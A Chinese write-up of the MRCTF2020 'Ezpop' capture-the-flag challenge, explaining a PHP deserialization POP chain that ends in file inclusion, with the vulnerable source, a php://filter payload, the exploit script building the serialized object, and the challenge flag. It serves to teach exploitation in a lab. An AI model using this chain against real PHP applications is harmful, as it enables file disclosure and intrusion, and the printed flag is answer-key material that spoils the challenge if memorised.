[MRCTF2020]Ezpop
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
提示在flag.php,应该是利用include进行读取,构造pop链:
class Show:wakeup、toString
class Test:get
class Modifier:invoke、include
可以看出来,Show类应当是入口:
1 2 3 4 5 6 7 8 9
| public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }
|
在对source过滤是是一种字符串操作,这里可以跳到toString方法中
而toString明显调用了一个属性值,get到不存在的属性,进入Test:
1 2 3 4
| public function __get($key){ $function = $this->p; return $function(); }
|
函数形式调用方法,invoke:
1 2 3 4 5 6 7
| protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }
|
利用方法是很明显的,我们只需要控制$var为我们想要的就可以进行包含任意读取
另,注意这里是私有保护变量,要传一个url加密的序列化字符串保证正确的解析
Help Me Find FLAG!
估计是藏起来了,上伪协议
php://filter/read=convert.base64-encode/resource=flag.php
1 2 3 4 5 6
| <?php class Flag{ private $flag= "flag{81ade5a5-3fc1-455b-bec8-5adbc83dfd1b}"; } echo "Help Me Find FLAG!"; ?>
|
exp:
1 2 3 4 5 6 7 8 9
| $m = new Modifier(); $t = new Test(); $s = new Show(); $ss=new Show(); $s->source=$ss; $s->source->str=$t; $s->source->str->p=new Modifier(); $k = serialize($s); echo urlencode($k);
|
……ok